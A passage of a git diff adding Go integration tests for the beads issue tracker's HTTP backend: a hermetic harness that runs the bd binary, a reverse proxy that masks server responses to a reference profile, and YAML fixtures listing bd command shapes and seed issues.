+// skipUnlessEmbeddedDolt is the served tier's gate, as in backend/http. +func skipUnlessEmbeddedDolt(t *testing.T) { + t.Helper() + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") == "1" { + return + } + if os.Getenv("BEADS_HTTP_TEST_REQUIRED") == "1" { + t.Fatal("BEADS_HTTP_TEST_REQUIRED=1 but BEADS_TEST_EMBEDDED_DOLT is not 1; the http corpus tier is not enforced") + } + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run the http command-corpus tier") +} + +type bdResult struct { + stdout, stderr string + code int +} + +func (r bdResult) String() string { + return fmt.Sprintf("exit=%d\nstdout:\n%s\nstderr:\n%s", r.code, clip(r.stdout, 4000), clip(r.stderr, 4000)) +} + +func clip(s string, n int) string { + if len(s) <= n { + return s + } + return s[:n] + fmt.Sprintf("\n... (%d more bytes)", len(s)-n) +} + +// runBD runs the built bd binary in dir with a hermetic environment. +func runBD(t *testing.T, bin, dir string, env []string, stdin string, args ...string) bdResult { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), bdTimeout) + defer cancel() + cmd := exec.CommandContext(ctx, bin, args...) + cmd.Dir = dir + cmd.Env = minimalBDEnv(dir, env...) + if stdin != "" { + cmd.Stdin = strings.NewReader(stdin) + } + var o, e strings.Builder + cmd.Stdout, cmd.Stderr = &o, &e + err := cmd.Run() + code := 0 + if err != nil { + var ee *exec.ExitError + switch { + case ctx.Err() != nil: + code = -1 + e.WriteString(fmt.Sprintf("\n[corpus harness] bd timed out after %s", bdTimeout)) + case errors.As(err, &ee): + code = ee.ExitCode() + default: + t.Fatalf("running bd %s: %v", strings.Join(args, " "), err) + } + } + return bdResult{stdout: o.String(), stderr: e.String(), code: code} +} + +// minimalBDEnv is backend/http's hermetic bd environment: PATH and the few +// variables a Go binary needs, HOME repointed at dir, nothing BEADS_* carried +// over from the invoking shell. extra is applied last. +func minimalBDEnv(dir string, extra ...string) []string { + env := []string{ + "HOME=" + dir, + "BD_DISABLE_METRICS=1", + "BD_DISABLE_EVENT_FLUSH=1", + } + for _, key := range []string{"PATH", "TMPDIR", "SYSTEMROOT", "WINDIR"} { + if v, ok := os.LookupEnv(key); ok { + env = append(env, key+"="+v) + } + } + return append(env, extra...) +} + +var ( + buildBDOnce sync.Once + bdBinPath string + bdBuildErr error + bdBinOwnBuild bool +) + +// buildBD builds bd from this tree once per test process (or takes Bazel's +// prebuilt binary). TestMain deletes the build. +func buildBD(t *testing.T) string { + t.Helper() + buildBDOnce.Do(func() { + if bazeltest.IsBazel() { + bdBinPath, bdBuildErr = bazeltest.PrebuiltBD() + return + } + if prebuilt, err := bazeltest.PrebuiltBD(); err != nil || prebuilt != "" { + bdBinPath, bdBuildErr = prebuilt, err + return + } + dir, err := os.MkdirTemp(os.Getenv("TMPDIR"), "bd-corpus") + if err != nil { + bdBuildErr = fmt.Errorf("mkdir temp for bd binary: %w", err) + return + } + bin := filepath.Join(dir, "bd-corpus") + cmd := exec.Command("go", "build", "-tags", "gms_pure_go", "-o", bin, "./cmd/bd") + cmd.Dir = repoRoot() + if out, err := cmd.CombinedOutput(); err != nil { + bdBuildErr = fmt.Errorf("build bd: %w\n%s", err, out) + _ = os.RemoveAll(dir) + return + } + bdBinPath = bin + bdBinOwnBuild = true + }) + if bdBuildErr != nil { + t.Fatal(bdBuildErr) + } + if bdBinPath == "" { + t.Fatal("no bd binary: Bazel did not provide one") + } + return bdBinPath +} + +func TestMain(m *testing.M) { + code := m.Run() + if bdBinOwnBuild && bdBinPath != "" { + _ = os.RemoveAll(filepath.Dir(bdBinPath)) + } + os.Exit(code) +} + +func repoRoot() string { + _, file, _, _ := runtime.Caller(0) // /backend/http/corpus/harness_test.go + return filepath.Dir(filepath.Dir(filepath.Dir(filepath.Dir(file)))) +} diff --git a/backend/http/corpus/reference_proxy_test.go b/backend/http/corpus/reference_proxy_test.go new file mode 100644 index 000000000..0142b1ad4 --- /dev/null +++ b/backend/http/corpus/reference_proxy_test.go @@ -0,0 +1,279 @@ +//go:build cgo + +package corpus_test + +import ( + "bytes" + "encoding/json" + "fmt" + "io" + "maps" + "net/http" + "net/http/httputil" + "net/url" + "os" + "regexp" + "slices" + "sort" + "strings" + "sync" + "sync/atomic" + "testing" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/httpapi/apigen" +) + +// referenceProfile is testdata/reference_server.json: the wire surface of the +// deployed server the corpus must work against. See README.md. +type referenceProfile struct { + Capabilities []string `json:"capabilities"` + ContextMembers []string `json:"context_members"` + Operations []referenceOperation `json:"operations"` +} + +type referenceOperation struct { + Method string `json:"method"` + Path string `json:"path"` + OperationID string `json:"operation_id"` + Query []string `json:"query"` + Body []string `json:"body"` + + pattern *regexp.Regexp + query map[string]bool + body map[string]bool +} + +func loadReferenceProfile(t *testing.T) *referenceProfile { + t.Helper() + raw, err := os.ReadFile("testdata/reference_server.json") + if err != nil { + t.Fatalf("read the reference server profile: %v", err) + } + var p referenceProfile + if err := json.Unmarshal(raw, &p); err != nil { + t.Fatalf("parse testdata/reference_server.json: %v", err) + } + if len(p.Capabilities) == 0 || len(p.Operations) == 0 || len(p.ContextMembers) == 0 { + t.Fatal("testdata/reference_server.json is missing capabilities, operations or context_members") + } + for i := range p.Operations { + op := &p.Operations[i] + pattern, err := templatePattern(op.Path) + if err != nil { + t.Fatalf("testdata/reference_server.json: operation %s path %q: %v", op.OperationID, op.Path, err) + } + op.pattern = pattern + op.query = setOf(op.Query) + op.body = setOf(op.Body) + } + return &p +} + +// templatePattern turns an OpenAPI path template into an anchored regexp. A +// path parameter never spans a "/" or a ":" (AIP-136 custom methods hang off +// the last segment as {id}:verb, and no issue id, config key or memory key +// carries a raw colon), so /issues/{id} does not swallow /issues/{id}:claim. +// A "{" with no "}" is an error: the profile is edited by hand, and without the +// check the loop would never advance past it. +func templatePattern(tmpl string) (*regexp.Regexp, error) { + var b strings.Builder + b.WriteString("^") + for { + open := strings.IndexByte(tmpl, '{') + if open < 0 { + b.WriteString(regexp.QuoteMeta(tmpl)) + break + } + closeAt := strings.IndexByte(tmpl[open:], '}') + if closeAt < 0 { + return nil, fmt.Errorf("unclosed { in %q", tmpl[open:]) + } + b.WriteString(regexp.QuoteMeta(tmpl[:open])) + b.WriteString(`[^/:]+`) + tmpl = tmpl[open+closeAt+1:] + } + b.WriteString("$") + return regexp.Compile(b.String()) +} + +func setOf(xs []string) map[string]bool { + m := make(map[string]bool, len(xs)) + for _, x := range xs { + m[x] = true + } + return m +} + +// referenceProxy fronts the in-process server and makes it answer the way the +// reference server answers, at the wire level, for everything this suite can +// see from a client: +// +// - GET /v0/beads/context publishes only the reference ContextResponse +// members (so no wire_revision: the reference server predates it) and +// exactly the reference capability set, whatever this build advertises; +// - a request for an operation the reference document does not publish gets +// the server's own unrouted 404 problem; +// - a query parameter or top-level JSON request member the reference +// operation does not declare gets the server's own 400 unknown_parameter +// problem naming it — which is how the real reference server answers, +// since its decoder is strict. +// +// Responses are otherwise passed through untouched. That is deliberately +// generous in one direction (a response member the reference server would not +// send still reaches the client) and is the residual fidelity gap README.md +// records. +type referenceProxy struct { + profile *referenceProfile + upstream *url.URL + rp *httputil.ReverseProxy + + requests atomic.Int64 + + mu sync.Mutex + refused []string // "METHOD path: why", for the per-shape log +} + +func newReferenceProxy(t *testing.T, profile *referenceProfile, upstreamAddr string) *referenceProxy { + t.Helper() + u, err := url.Parse("http://" + upstreamAddr) + if err != nil { + t.Fatalf("parse upstream address: %v", err) + } + p := &referenceProxy{profile: profile, upstream: u} + p.rp = &httputil.ReverseProxy{ + Rewrite: func(r *httputil.ProxyRequest) { + r.SetURL(u) // also rewrites Host, so the server's Host gate sees its own bind + }, + FlushInterval: -1, // events:watch streams + } + return p +} + +func (p *referenceProxy) takeRefusals() []string { + p.mu.Lock() + defer p.mu.Unlock() + out := p.refused + p.refused = nil + return out +} + +func (p *referenceProxy) noteRefusal(r *http.Request, why string) { + p.mu.Lock() + defer p.mu.Unlock() + p.refused = append(p.refused, fmt.Sprintf("%s %s: %s", r.Method, r.URL.Path, why)) +} + +func (p *referenceProxy) match(r *http.Request) *referenceOperation { + path := r.URL.EscapedPath() + var best *referenceOperation + for i := range p.profile.Operations { + op := &p.profile.Operations[i] + if op.Method != r.Method || !op.pattern.MatchString(path) { + continue + } + // Prefer the most literal template when two match (none do today). + if best == nil || len(op.Path) > len(best.Path) { + best = op + } + } + return best +} + +func (p *referenceProxy) ServeHTTP(w http.ResponseWriter, r *http.Request) { + p.requests.Add(1) + if r.Method == http.MethodGet && r.URL.Path == "/v0/beads/context" { + p.serveContext(w, r) + return + } + op := p.match(r) + if op == nil { + p.noteRefusal(r, "operation not published by the reference server") + detail := "no such route on this server" + httpapi.Write(w, httpapi.Result{Problem: apigen.Problem{ + Status: http.StatusNotFound, + Title: http.StatusText(http.StatusNotFound), + Code: string(httpapi.CodeNotFound), + Detail: &detail, + }}) + return + } + if offender := firstUnknown(slices.Collect(maps.Keys(r.URL.Query())), op.query); offender != "" { + p.noteRefusal(r, "query parameter "+offender+" unknown to "+op.OperationID) + httpapi.Write(w, httpapi.InvalidArgument(offender, httpapi.ReasonUnknownParameter, + "unknown query parameter "+offender)) + return + } + if r.Body != nil && r.Body != http.NoBody { + raw, err := io.ReadAll(r.Body) + _ = r.Body.Close() + if err != nil { + http.Error(w, "reference proxy: read body: "+err.Error(), http.StatusBadGateway) + return + } + r.Body = io.NopCloser(bytes.NewReader(raw)) + r.ContentLength = int64(len(raw)) + var members map[string]json.RawMessage + if len(bytes.TrimSpace(raw)) > 0 && json.Unmarshal(raw, &members) == nil { + if offender := firstUnknown(slices.Collect(maps.Keys(members)), op.body); offender != "" { + p.noteRefusal(r, "request member "+offender+" unknown to "+op.OperationID) + httpapi.Write(w, httpapi.InvalidArgument(offender, httpapi.ReasonUnknownParameter, + "json: unknown field \""+offender+"\"")) + return + } + } + } + p.rp.ServeHTTP(w, r) +} + +// firstUnknown names the smallest key not in known, the same deterministic +// choice the server makes, or "" when every key is known. +func firstUnknown(keys []string, known map[string]bool) string { + sort.Strings(keys) + for _, k := range keys { + if !known[k] { + return k + } + } + return "" +} + +func (p *referenceProxy) serveContext(w http.ResponseWriter, r *http.Request) { + out := r.Clone(r.Context()) + out.URL.Scheme, out.URL.Host, out.Host = p.upstream.Scheme, p.upstream.Host, p.upstream.Host + out.RequestURI = "" + resp, err := http.DefaultTransport.RoundTrip(out) + if err != nil { + http.Error(w, "reference proxy: "+err.Error(), http.StatusBadGateway) + return + } + defer resp.Body.Close() + raw, err := io.ReadAll(resp.Body) + if err != nil { + http.Error(w, "reference proxy: "+err.Error(), http.StatusBadGateway) + return + } + if resp.StatusCode != http.StatusOK { + maps.Copy(w.Header(), resp.Header) + w.WriteHeader(resp.StatusCode) + _, _ = w.Write(raw) + return + } + var body map[string]json.RawMessage + if err := json.Unmarshal(raw, &body); err != nil { + http.Error(w, "reference proxy: decode context: "+err.Error(), http.StatusBadGateway) + return + } + keep := setOf(p.profile.ContextMembers) + for k := range body { + if !keep[k] { + delete(body, k) + } + } + caps, _ := json.Marshal(p.profile.Capabilities) + body["capabilities"] = caps + masked, _ := json.Marshal(body) + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + _, _ = w.Write(masked) +} diff --git a/backend/http/corpus/required_corpus_tier_test.go b/backend/http/corpus/required_corpus_tier_test.go new file mode 100644 index 000000000..055afeb79 --- /dev/null +++ b/backend/http/corpus/required_corpus_tier_test.go @@ -0,0 +1,23 @@ +package corpus_test + +import ( + "os" + "testing" +) + +// corpusTierLinked reports whether this test binary links the corpus tier. +// harness_test.go, which builds only under cgo like every other file in this +// package, sets it from its init. +var corpusTierLinked bool + +// TestCorpusTierIsLinkedWhenRequired is the one corpus check that builds +// without cgo. skipUnlessEmbeddedDolt turns a missing BEADS_TEST_EMBEDDED_DOLT +// into a failure under BEADS_HTTP_TEST_REQUIRED=1, but it lives in a cgo file: +// with cgo off the go tool drops every other file in this package, so no +// corpus test exists to fail, and a required run would pass having run nothing. +func TestCorpusTierIsLinkedWhenRequired(t *testing.T) { + if os.Getenv("BEADS_HTTP_TEST_REQUIRED") == "1" && !corpusTierLinked { + t.Fatal("BEADS_HTTP_TEST_REQUIRED=1 but this test binary was built without cgo, which drops " + + "the http command corpus (every other file in this package); build it with CGO_ENABLED=1") + } +} diff --git a/backend/http/corpus/testdata/allowlist.yaml b/backend/http/corpus/testdata/allowlist.yaml new file mode 100644 index 000000000..090577cc9 --- /dev/null +++ b/backend/http/corpus/testdata/allowlist.yaml @@ -0,0 +1,29 @@ +# Shapes that are EXPECTED to be refused on a served workspace, permanently. +# The served run must fail and its output must match `refusal`; if it ever +# succeeds, the entry is stale and the suite fails until it is removed. The +# embedded run is still held to the shape's expect_exit, which an allowlisted +# shape must state, and to its expect_stderr: a shape that stops doing what it +# says on the embedded backend fails as a corpus bug, not as allowed. +# A gap some slice will close is NOT listed here: it is a `pending` mark on the +# shape in corpus.yaml instead. + +- id: gc-sql-ready-projection + reason: >- + bd sql needs a Dolt sql-server workspace: the embedded backend refuses it + too (the shape's expect_exit and expect_stderr pin that), and an http + workspace refuses it with the same "embedded mode" text. gc must not issue + it against a remote workspace (DESIGN B3 #10 and B6: gc reads the ready + projection through roles there). + refusal: "'bd sql' is not yet supported" +- id: gc-sql-release-fallback + reason: >- + bd sql needs a Dolt sql-server workspace and the embedded backend refuses + it too; gc's ReleaseIfCurrent fallback must take the conditional update + path on a remote workspace (DESIGN B3 #10). + refusal: "'bd sql' is not yet supported" +- id: mc-meta-set + reason: >- + `bd meta set` is not an OSS bd command (pack scripts written against an + older pinned CLI); it fails on the embedded backend too. The packs should + use `bd update --set-metadata`, which the corpus covers. + refusal: 'unknown command "meta"' diff --git a/backend/http/corpus/testdata/corpus.yaml b/backend/http/corpus/testdata/corpus.yaml new file mode 100644 index 000000000..ded7e9e30 --- /dev/null +++ b/backend/http/corpus/testdata/corpus.yaml @@ -0,0 +1,735 @@ +# Served command corpus (slice S23): every distinct bd command shape the +# orchestrator (gc) and its packs/formulas issue against a work store. +# +# Sources: +# gc: gascity origin/main internal/beads/bdstore*.go, internal/config/workquery.go, +# cmd/gc (BdStore subprocess shapes, work_query/scale_check/on_boot/on_death +# shell, hook claim, agent-script actions, doctor/preflight probes). +# mc: pack, formula, prompt and script invocations counted across the +# maintainer packs (flag sets, not values; values here are representative). +# +# Each shape runs on a served workspace (bd connect to an in-process bd serve, +# non-loopback bind mode, bearer auth, masked to testdata/reference_server.json) +# and on an embedded workspace, with BEADS_ACTOR=worker and CLAUDE_SESSION_ID set +# on both. See README.md for the fields. Reads come first; writes after them +# each own their target ids (e2e-t-*), so write order never changes a read. +# +# pending: {slice, reason} marks a known failure. The shape still runs; when it +# passes the subtest FAILS until the mark is removed. That is how a slice proves +# itself. Permanent refusals live in allowlist.yaml instead. + +files: + - name: seed-core.json + content: | + {"commit_message": "corpus seed", "nodes": [ + {"key": "r1", "id": "e2e-r1", "title": "Routed open task", "type": "task", "priority": 1, "labels": ["lane:a"], "metadata": {"gc.routed_to": "pool-a"}}, + {"key": "r2", "id": "e2e-r2", "title": "Held routed task", "type": "task", "labels": ["hold:mayor"], "metadata": {"gc.routed_to": "pool-a"}}, + {"key": "r3", "id": "e2e-r3", "title": "Routed epic", "type": "epic", "metadata": {"gc.routed_to": "pool-a"}}, + {"key": "wf1", "id": "e2e-wf1", "title": "Workflow root", "type": "task", "metadata": {"gc.run_target": "pool-a", "gc.kind": "workflow"}}, + {"key": "a1", "id": "e2e-a1", "title": "Alice bug", "type": "bug", "assignee": "alice"}, + {"key": "ip1", "id": "e2e-ip1", "title": "Worker in progress", "type": "task", "priority": 0, "assignee": "worker", "metadata": {"gc.routed_to": "pool-a"}}, + {"key": "wr", "id": "e2e-wr", "title": "Worker ready task", "type": "task", "assignee": "worker"}, + {"key": "ipna", "id": "e2e-ipna", "title": "Orphaned in progress", "type": "task", "metadata": {"gc.routed_to": "pool-a"}}, + {"key": "ipnb", "id": "e2e-ipnb", "title": "Orphaned workflow", "type": "task", "metadata": {"gc.run_target": "pool-a", "gc.kind": "workflow"}}, + {"key": "blk", "id": "e2e-blk", "title": "Blocked by r1", "type": "task", "deps": [{"target": "r1"}]}, + {"key": "done", "id": "e2e-done", "title": "Closed task", "type": "task"}, + {"key": "ext", "id": "e2e-ext", "title": "GitHub source", "type": "task", "external_ref": "gh-123", "metadata": {"gc.kind": "github_source", "gc.github.kind": "issue", "gc.github.repo": "o/r"}}, + {"key": "ep", "id": "e2e-ep", "title": "Epic", "type": "epic"}, + {"key": "ep.1", "id": "e2e-ep.1", "title": "Epic child one", "type": "task", "parent_key": "ep"}, + {"key": "ep.2", "id": "e2e-ep.2", "title": "Epic child two", "type": "task", "parent_key": "ep"}, + {"key": "mol", "id": "e2e-mol", "title": "Molecule root", "type": "epic"}, + {"key": "mol.1", "id": "e2e-mol.1", "title": "step one", "type": "task", "assignee": "worker", "parent_key": "mol"}, + {"key": "mol.2", "id": "e2e-mol.2", "title": "step two", "type": "task", "parent_key": "mol", "deps": [{"target": "mol.1"}], "metadata": {"gc.root_bead_id": "e2e-mol", "gc.routed_to": "pool-a"}}, + {"key": "mol.3", "id": "e2e-mol.3", "title": "step three", "type": "task", "parent_key": "mol"}, + {"key": "mac", "id": "e2e-mac", "title": "Auto-close molecule", "type": "epic"}, + {"key": "mac.1", "id": "e2e-mac.1", "title": "done step", "type": "task", "parent_key": "mac"}, + {"key": "mac.2", "id": "e2e-mac.2", "title": "last step", "type": "task", "assignee": "worker", "parent_key": "mac"}, + {"key": "wisp-1", "id": "e2e-wisp-1", "title": "Wisp wisp-1", "type": "task", "ephemeral": true, "metadata": {"gc.routed_to": "pool-a"}, "labels": ["lane:w"]}, + {"key": "wisp-2", "id": "e2e-wisp-2", "title": "Wisp wisp-2", "type": "task", "ephemeral": true, "assignee": "worker", "labels": ["lane:w"]}, + {"key": "wisp-wr", "id": "e2e-wisp-wr", "title": "Wisp worker ready", "type": "task", "ephemeral": true, "priority": 1, "assignee": "worker"}, + {"key": "wisp-c", "id": "e2e-wisp-c", "title": "Wisp wisp-c", "type": "task", "ephemeral": true}, + {"key": "wisp-p", "id": "e2e-wisp-p", "title": "Wisp wisp-p", "type": "task", "ephemeral": true}, + {"key": "wisp-m", "id": "e2e-wisp-m", "title": "Wisp molecule", "type": "epic", "ephemeral": true}, + {"key": "wisp-m.1", "id": "e2e-wisp-m.1", "title": "wisp step", "type": "task", "ephemeral": true, "parent_key": "wisp-m"}, + {"key": "t-upd", "id": "e2e-t-upd", "title": "target upd", "type": "task", "labels": ["lane:z"]}, + {"key": "t-upd2", "id": "e2e-t-upd2", "title": "target upd2", "type": "task"}, + {"key": "t-m1", "id": "e2e-t-m1", "title": "target m1", "type": "task"}, + {"key": "t-m2", "id": "e2e-t-m2", "title": "target m2", "type": "task"}, + {"key": "t-claim", "id": "e2e-t-claim", "title": "target claim", "type": "task"}, + {"key": "t-claim2", "id": "e2e-t-claim2", "title": "target claim2", "type": "task"}, + {"key": "t-rev", "id": "e2e-t-rev", "title": "target rev", "type": "task"}, + {"key": "t-rev2", "id": "e2e-t-rev2", "title": "target rev2", "type": "task"}, + {"key": "t-sling", "id": "e2e-t-sling", "title": "target sling", "type": "task"}, + {"key": "t-as", "id": "e2e-t-as", "title": "target as", "type": "task"}, + {"key": "t-ms", "id": "e2e-t-ms", "title": "target ms", "type": "task"}, + {"key": "t-msc", "id": "e2e-t-msc", "title": "target msc", "type": "task"}, + {"key": "t-um", "id": "e2e-t-um", "title": "target um", "type": "task", "metadata": {"k": "v"}}, + {"key": "t-notes", "id": "e2e-t-notes", "title": "target notes", "type": "task"}, + {"key": "t-er", "id": "e2e-t-er", "title": "target er", "type": "task"}, + {"key": "t-md", "id": "e2e-t-md", "title": "target md", "type": "task"}, + {"key": "t-asg", "id": "e2e-t-asg", "title": "target asg", "type": "task"}, + {"key": "t-dac", "id": "e2e-t-dac", "title": "target dac", "type": "task"}, + {"key": "t-c1", "id": "e2e-t-c1", "title": "target c1", "type": "task"}, + {"key": "t-c2", "id": "e2e-t-c2", "title": "target c2", "type": "task"}, + {"key": "t-c3", "id": "e2e-t-c3", "title": "target c3", "type": "task"}, + {"key": "t-c4", "id": "e2e-t-c4", "title": "target c4", "type": "task"}, + {"key": "t-c5", "id": "e2e-t-c5", "title": "target c5", "type": "task"}, + {"key": "t-d1", "id": "e2e-t-d1", "title": "target d1", "type": "task"}, + {"key": "t-d2", "id": "e2e-t-d2", "title": "target d2", "type": "task"}, + {"key": "t-d3", "id": "e2e-t-d3", "title": "target d3", "type": "task"}, + {"key": "t-d4", "id": "e2e-t-d4", "title": "target d4", "type": "task"}, + {"key": "t-df1", "id": "e2e-t-df1", "title": "target df1", "type": "task"}, + {"key": "t-df2", "id": "e2e-t-df2", "title": "target df2", "type": "task"}, + {"key": "t-da", "id": "e2e-t-da", "title": "target da", "type": "task"}, + {"key": "t-db", "id": "e2e-t-db", "title": "target db", "type": "task"}, + {"key": "t-l", "id": "e2e-t-l", "title": "target l", "type": "task"}, + {"key": "t-as2", "id": "e2e-t-as2", "title": "target as2", "type": "task"}, + {"key": "t-cm", "id": "e2e-t-cm", "title": "target cm", "type": "task"}, + {"key": "t-rel", "id": "e2e-t-rel", "title": "target rel", "type": "task", "assignee": "worker"}, + {"key": "t-xfer", "id": "e2e-t-xfer", "title": "target xfer", "type": "task", "assignee": "worker"}, + {"key": "t-ifa", "id": "e2e-t-ifa", "title": "target ifa", "type": "task", "assignee": "worker"}, + {"key": "t-death", "id": "e2e-t-death", "title": "target death", "type": "task", "assignee": "worker"}, + {"key": "t-rc", "id": "e2e-t-rc", "title": "target rc", "type": "task", "assignee": "worker"}, + {"key": "t-boot", "id": "e2e-t-boot", "title": "target boot", "type": "task"}, + {"key": "t-ro", "id": "e2e-t-ro", "title": "target reopen", "type": "task"}, + {"key": "t-dr", "id": "e2e-t-dr", "title": "target dep remove", "type": "task", "deps": [{"target": "t-db"}]}, + {"key": "t-dc", "id": "e2e-t-dc", "title": "cascade root", "type": "epic"}, + {"key": "t-dc.1", "id": "e2e-t-dc.1", "title": "cascade child", "type": "task", "parent_key": "t-dc"} + ]} + - name: bulk-ready-a.json + bulk: {id_prefix: e2e-bra, count: 60, priority: 3, metadata: {gc.routed_to: pool-a}} + - name: bulk-ready-b.json + bulk: {id_prefix: e2e-brb, count: 60, priority: 3, metadata: {gc.routed_to: pool-a}} + - name: bulk-wisp-a.json + bulk: {id_prefix: e2e-wisp-bwa, count: 55, priority: 3, ephemeral: true, metadata: {gc.routed_to: pool-a}} + - name: bulk-wisp-b.json + bulk: {id_prefix: e2e-wisp-bwb, count: 55, priority: 3, ephemeral: true, metadata: {gc.routed_to: pool-a}} + - name: graph-small.json + content: | + {"commit_message": "gc graph apply", "nodes": [ + {"key": "root", "id": "e2e-g-root", "title": "graph root", "type": "epic", "metadata": {"gc.kind": "workflow"}}, + {"key": "s1", "id": "e2e-g-s1", "title": "graph step 1", "type": "task", "parent_key": "root", "assignee": "worker", "labels": ["lane:g"], "metadata": {"gc.routed_to": "pool-a"}}, + {"key": "s2", "id": "e2e-g-s2", "title": "graph step 2", "type": "task", "parent_key": "root"} + ], "edges": [{"from_key": "s2", "to_key": "s1", "type": "blocks"}]} + - name: graph-eph.json + content: | + {"nodes": [ + {"key": "root", "id": "e2e-wisp-g-root", "title": "wisp graph root", "type": "epic"}, + {"key": "s1", "id": "e2e-wisp-g-s1", "title": "wisp graph step", "type": "task", "parent_key": "root"} + ]} + - name: delete-list.txt + content: | + e2e-t-df1 + e2e-t-df2 + +seed: + - [create, --graph, "{file:seed-core.json}", --json] + - [create, --graph, "{file:bulk-ready-a.json}", --json] + - [create, --graph, "{file:bulk-ready-b.json}", --json] + - [create, --graph, "{file:bulk-wisp-a.json}", --json] + - [create, --graph, "{file:bulk-wisp-b.json}", --json] + # Graph plans carry no status: a node created in_progress or closed stamps + # started_at/closed_at, which batchApply's create vocabulary cannot carry + # (gc's own plans never set a status). Lifecycle goes through update/close. + - [update, e2e-ip1, e2e-ipna, e2e-ipnb, e2e-mol.1, e2e-mac.2, e2e-t-rel, e2e-t-xfer, e2e-t-ifa, e2e-t-death, e2e-t-rc, e2e-t-boot, --status, in_progress] + - [update, e2e-wisp-2, --status, in_progress] + - [close, --force, e2e-done, e2e-ep.2, e2e-mol.3, e2e-mac.1, e2e-t-ro] + - [comments, add, e2e-r1, "seed comment"] + +shapes: + # ---------------------------------------------------------------- show + - id: gc-show-json + source: gc bdstore.go BdStore.Get (show --json ); counts must not read 0 + args: [show, --json, e2e-blk] + - id: gc-show-json-batch + source: gc bdstore_exact_batch.go GetExactBatch + args: [show, --json, e2e-r1, e2e-a1, e2e-blk, e2e-mol] + - id: gc-show-json-wisp + source: gc workquery.go blocked_by enrichment; wisps live in the ready tier + args: [show, e2e-wisp-1, --json] + - id: gc-show-id-flag + source: gc cmd_bd_show_watch.go bdWatchRunner (show --json --id=) + args: [show, --json, --id=e2e-r1] + # The worker holds eight in-progress issues; e2e-ip1 is the only P0 among + # them, so "first in the store's default order" (priority first) names it on + # both sides. Among equal priorities the order rests on created_at, and a + # seed that straddles a second boundary on one side only picked another issue. + - id: gc-show-current + source: gc cmd_bd_show_watch.go bdWatchRunner (show --current --json) + args: [show, --current, --json] + pending: {slice: "S6e", reason: "NEW: resolveCurrentIssueID calls raw store.SearchIssues, the http refusal is swallowed, and it silently falls back to the last-touched issue (wrong issue, exit 0)"} + - id: gc-show-missing + source: gc BdStore.Get not-found classification (routing fallbacks) + args: [show, --json, e2e-nonexistent] + expect_exit: 1 + expect_stderr: "(?i)not found" + compare: exit + - id: mc-show-text + source: mc prompts (bd show , ~80) + args: [show, e2e-r1] + compare: text + + # ---------------------------------------------------------------- ready + # e2e-wr and e2e-wisp-wr are the only open rows assigned to the worker when + # these shapes run, so the assignee shapes compare real rows: a client that + # sends the wrong assignee or drops --include-ephemeral returns a different + # list. The wisp is P1 and the task P2, so --limit=1 picks the wisp on both + # sides by priority alone. + - id: gc-ready-unlimited + source: gc bdstore.go bdReadyArgs (BdStore.Ready, ready --json --limit 0) + args: [ready, --json, --limit, "0"] + compare: ids + pending: {slice: "S15", reason: "ready --limit 0 omits limit and the server default page silently caps the answer (B3 #2)"} + - id: gc-ready-ephemeral-assignee-unlimited + source: gc bdstore.go bdReadyArgs with --include-ephemeral --assignee + args: [ready, --json, --include-ephemeral, --assignee, worker, --limit, "0"] + compare: ids + - id: gc-ready-pool-demand + source: gc workquery.go bdReadyPoolDemandShell (scale_check, --limit=20) + args: [ready, --metadata-field, gc.routed_to=pool-a, --unassigned, --exclude-type=epic, --exclude-label, "hold:mayor", --exclude-label, "hold:external", --json, --limit=20] + compare: ids + - id: gc-ready-pool-demand-unlimited + source: gc workquery.go bdReadyPoolDemandShell (work_query, --include-ephemeral --limit 0) + args: [ready, --include-ephemeral, --metadata-field, gc.routed_to=pool-a, --unassigned, --exclude-type=epic, --exclude-label, "hold:mayor", --exclude-label, "hold:external", --json, --limit, "0"] + compare: ids + pending: {slice: "S15", reason: "ready --limit 0 silently capped by the server's default page (B3 #2)"} + - id: gc-ready-workflow-migration + source: gc workquery.go bdReadyPoolDemandMigrationShell (--sort oldest --limit 0) + args: [ready, --include-ephemeral, --metadata-field, gc.run_target=pool-a, --metadata-field, gc.kind=workflow, --unassigned, --exclude-type=epic, --exclude-label, "hold:mayor", --exclude-label, "hold:external", --json, --sort, oldest, --limit, "0"] + compare: ids + - id: gc-ready-graph-anchor + source: gc workquery.go assignedGraphWorkflowAnchorReadyFunctionScript + args: [ready, --include-ephemeral, --metadata-field, gc.root_bead_id=e2e-mol, --metadata-field, gc.routed_to=pool-a, --exclude-type=epic, --exclude-label, "hold:mayor", --exclude-label, "hold:external", --json, --sort, oldest, --limit=20] + compare: ids + - id: gc-ready-assigned-tier + source: gc workquery.go assignedReadyTierCommand (--assignee= --limit=1) + args: [ready, --include-ephemeral, --assignee=worker, --json, --limit=1] + compare: ids + - id: gc-ready-probe + source: gc examples/bd gc-beads-bd.sh (bare bd ready probe) + args: [ready] + compare: exit + - id: mc-ready-json + source: mc scripts/prompts (bd ready --json, ~36) + args: [ready, --json] + compare: ids + - id: mc-ready-mol + source: mc skills/pr-review (bd ready --mol ) + args: [ready, --mol, e2e-mol, --json] + pending: {slice: "S16", reason: "ready --mol loads molecule steps off a raw path: step rows lose assignee and timestamps (molecule reads over roles)"} + - id: mc-ready-parent + source: mc skills/pr-review (bd ready --parent ) + args: [ready, --parent, e2e-ep, --json] + compare: ids + + # ---------------------------------------------------------------- list + - id: gc-list-full-filters + source: gc bdstore.go listViaBDList (List/ListByLabel/ListByMetadata) + args: [list, --json, --label=lane:a, --status=open, --type=task, --include-infra, --include-gates, --limit, "0", --metadata-field, gc.routed_to=pool-a] + - id: gc-list-ping + source: gc bdstore.go BdStore.Ping (list --json --limit 0) + args: [list, --json, --limit, "0"] + compare: ids + - id: gc-list-limit1 + source: gc doctor_gate_sandbox.go / doctor_store_preflight.go + args: [list, --json, --limit, "1"] + compare: count + - id: gc-list-readonly + source: gc doctor_v2_session_migration.go readOnlyBdRunner + args: [--readonly, list, --json, --limit, "1"] + compare: count + - id: gc-list-assignee-status + source: gc bdstore.go listViaBDList (ListByAssignee) + args: [list, --json, --assignee=worker, --status=in_progress, --include-infra, --include-gates, --limit, "0"] + - id: gc-list-all-created-before + source: gc bdstore.go listViaBDList (--all --created-before --include-templates --skip-labels) + args: [list, --json, --all, --created-before, "2100-01-01T00:00:00Z", --include-infra, --include-gates, --include-templates, --limit, "0", --skip-labels] + compare: ids + - id: 